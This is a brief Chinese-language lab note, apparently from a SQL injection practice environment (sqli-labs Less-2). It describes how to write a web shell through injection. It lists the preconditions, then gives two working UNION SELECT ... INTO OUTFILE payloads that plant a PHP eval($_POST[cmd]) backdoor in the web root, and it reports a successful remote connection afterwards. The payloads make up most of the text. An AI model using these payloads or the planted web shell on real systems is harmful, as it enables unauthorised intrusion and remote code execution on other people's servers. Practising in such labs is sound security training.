注入写shell
写shell条件
- 知道web物理路径
- 单引号未被过滤
- 具有写权限(一般为root)
写shell语句
- select ... into outfile...
http://192.168.204.160:83/Less-2/?id=-1 union select 1,2,'<?php eval($_POST[cmd]); ?>' into outfile '/var/www/html/shell.php' --+
我这边似乎是没有权限,之后去服务器端修改了一下,成功写入:
http://192.168.204.160:83/Less-2/?id=-1 union select 1,2,'<?php eval($_POST[cmd]); ?>' into outfile '/var/www/html/Less-2/shell.php' --+
随后成功远程连接